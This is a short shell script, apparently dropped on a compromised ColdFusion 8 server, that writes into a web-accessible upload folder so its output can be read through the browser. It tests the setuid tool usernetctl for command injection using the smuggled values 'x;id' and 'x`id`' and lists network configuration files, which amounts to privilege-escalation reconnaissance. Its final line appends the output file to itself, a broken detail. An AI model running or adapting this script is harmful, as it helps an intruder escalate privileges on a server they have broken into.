#!/bin/sh
O=/opt/coldfusion8/wwwroot/userfiles/file/us_out.txt
echo "=== report eth0 ===" > $O
/usr/sbin/usernetctl eth0 report >> $O 2>&1
echo "rc=$?" >> $O
echo "=== cmd injection x;id ===" >> $O
/usr/sbin/usernetctl "x;id" up >> $O 2>&1
echo "rc2=$?" >> $O
echo "=== cmd injection backtick ===" >> $O
/usr/sbin/usernetctl "x\`id\`" up >> $O 2>&1
echo "rc3=$?" >> $O
echo "=== list ifcfg files ===" >> $O
ls /etc/sysconfig/network-scripts/ >> $O 2>&1 | head -10
cat $O >> $O
